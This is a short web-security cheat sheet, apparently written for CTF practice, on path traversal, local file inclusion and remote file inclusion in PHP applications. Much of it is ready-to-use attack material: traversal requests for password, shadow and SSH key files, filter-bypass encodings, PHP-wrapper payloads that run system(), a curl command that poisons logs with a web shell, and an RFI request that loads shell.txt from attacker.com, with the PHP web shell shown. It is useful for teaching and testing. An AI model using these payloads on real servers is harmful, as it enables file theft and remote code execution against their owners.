intermediatecat/web~2 min read

File Inclusion & Path Traversal

Access arbitrary system files and achieve Remote Code Execution via Local File Inclusion (LFI), Remote File Inclusion (RFI), and PHP stream wrappers.

// prerequisite reading

Directory Traversal (Path Traversal)

Directory Traversal allows an attacker to read arbitrary files on the file system by manipulating file paths passed to file-reading APIs (file_get_contents(), open(), fs.readFile()).

GET /display?file=../../../../etc/passwd HTTP/1.1

Common Targets

  • Linux: /etc/passwd, /etc/shadow, /proc/self/environ, /proc/self/cmdline, ~/.ssh/id_rsa
  • Windows: C:\windows\win.ini, C:\boot.ini, C:\Windows\System32\drivers\etc\hosts

Traversal Bypass Tricks

  • Absolute Paths: Bypass prefix concatenation by supplying /etc/passwd directly.
  • Nested Traversal Sequence: If ../ is stripped non-recursively: ....//....//etc/passwd
  • URL Encoding:
    • Standard double URL encoding: %252e%252e%252f (../)
    • 16-bit Unicode encoding: %c0%ae%c0%ae%c0%af
  • Null Byte Injection (PHP < 5.3.4): Truncate appended extensions (.php):
    ?file=../../../../etc/passwd%00

Local File Inclusion (LFI) to RCE

LFI occurs when user input is passed directly to dynamic file execution/inclusion statements (such as PHP’s include, require, include_once).

1. PHP Wrappers (php://filter)

Read source code of target .php files before server-side parsing by base64-encoding the file output:

GET /index.php?page=php://filter/convert.base64-encode/resource=index.php

Decode the resulting base64 string to recover raw PHP source code and hidden credentials.

2. PHP Wrappers (php://input & data://)

If allow_url_include is enabled in php.ini:

  • php://input wrapper: Pass arbitrary PHP code in the POST body:

    POST /index.php?page=php://input HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    <?php system('cat /flag.txt'); ?>
  • data:// wrapper: Pass base64 encoded PHP code via data URI:

    GET /index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7ID8+

3. Log Poisoning

If you can include system log files (e.g., Apache/Nginx access log or SSH auth log):

  1. Inject PHP payload into User-Agent or SSH username:
    # Poisoning Apache Access Log via User-Agent header
    curl -s "http://target.com/" -A "<?php system(\$_GET['cmd']); ?>"
  2. Include the poisoned log file:
    GET /index.php?page=/var/log/apache2/access.log&cmd=cat+/flag.txt

Common log file locations:

  • /var/log/apache2/access.log
  • /var/log/nginx/access.log
  • /var/log/auth.log
  • /var/log/vsftpd.log

Remote File Inclusion (RFI)

RFI allows loading and executing a script hosted on an attacker-controlled external server. Requires allow_url_include = On in PHP configuration.

GET /index.php?page=http://attacker.com/shell.txt HTTP/1.1

Where shell.txt contains raw PHP code:

<?php system($_GET['cmd']); ?>